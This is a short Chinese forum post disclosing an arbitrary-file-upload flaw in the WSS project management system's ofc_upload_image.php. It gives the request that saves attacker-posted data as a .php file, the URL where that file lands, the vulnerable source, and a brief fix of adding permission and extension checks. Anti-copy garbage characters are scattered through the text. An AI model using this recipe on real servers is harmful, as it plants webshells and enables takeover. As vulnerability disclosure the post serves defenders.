WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
) z0 l8 n8 ?- p% Z- e$ X  `0 A 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
- L, h  _) b* s" [1 W
, k0 `4 t. Z6 ^9 Z利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

$ z! Z8 Z6 G: hPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
3 A  o. r' I5 a' v5 W

最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php
. o' |* o$ k" L6 E+ A
//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

/*
# C" |- [7 {# p( n
print_r( $_GET );
print_r( $_POST );
print_r( $_FILES );
/ N$ ]- _" D5 N6 ?) P, H
print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
2 O5 l. }6 O9 _. d( b// default path for the image to be stored //
! @2 R5 y7 J* {$ e$ D$ q/ C( d- V$default_path = '../tmp-upload-images/';
" |5 l0 y1 S0 }* l+ H3 {" T) J/ ^
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
1 ~2 R6 z. ^1 S# M' z9 U
// full path to the saved image including filename //
, p( I( P" S" j8 y/ l  g$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
2 o( Z7 U, ^) u: ]% Y& t; K// print_r( $_POST );
, Z# U0 C+ ~+ Q7 R7 l; k# F9 j3 d8 I// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
9 o% P; v) m  ~8 A
//
3 n9 n! `1 q4 i, s. X$ @6 Q. z// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
: @: \, N6 k- h  z. ^6 j// the raw bits into $HTTP_RAW_POST_DATA
//
: Y3 z# e) Z" p* I$ i
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

//
6 P1 s& p+ `" q3 O// LOOK:
//
+ m6 r3 r. j- Z( k) g# H& G7 Nexit();
* {; l' u  S' I" {//
6 Q* y' C& h8 c// PHP5:
//


/ S" Y$ c4 z+ F* e7 c  T// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

3 i% V, H2 c  @: K) ]* pif (!file_exists($default_path)) mkdir($default_path, 0777, true);
0 N4 d3 b1 x. e1 `) C. T
/ i7 F* \5 U# P2 x6 V: F3 y0 q) ~// full path to the saved image including filename //
. \2 O- [5 e3 @- D, ?* n+ t$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
2 i4 E( y: u  J- |
: C- T" t8 {7 J6 I// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
9 l% b) m: O% J: [; O2 Z* N2 }+ i    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
# L3 w: R  o* }$ X* Q6 O+ X2 i; j    echo "FILE UPLOAD FAILED";
4 k% k" e# i! n' p! E8 n  m* |; O}
. e$ _1 w# j0 E8 c# w) R6 Q

/ Z7 G0 \% X) i; Y2 t. n3 T?>


4 p" a: c( Y3 j6 [' k8 M

1 x+ W5 G8 z; m% n8 S; K
4 T+ l6 e/ ?1 `; ]
修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
. E% l# X4 u0 }! a0 C* K+ \, @- Q



$ |' M' `- E4 Y